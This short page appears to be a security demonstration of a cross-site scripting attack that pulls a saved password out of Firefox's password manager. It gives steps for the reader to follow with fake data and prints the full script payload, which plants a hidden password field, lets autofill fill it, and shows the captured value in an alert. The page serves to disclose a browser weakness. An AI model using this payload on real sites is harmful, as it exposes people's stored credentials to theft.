XSS demo for stealing passwords from the Firefox password manager

Similar technique may work for Internet Explorer, Safari, Chrome, Opera, etc. Your mileage may vary.

1. Save a username / password in Firefox's password manager by filling out the form below with fake data.

2. Clicking "Remember" when asked.

3. Then click back.

If successful the alert box should show your password.

Username:
Password:
THE XSS EXPLOIT PAYLOAD <script> document.write('<form><input id=p type=password style=visibility:hidden></form>'); setTimeout('alert("Password: " + document.getElementById("p").value)', 100); </script>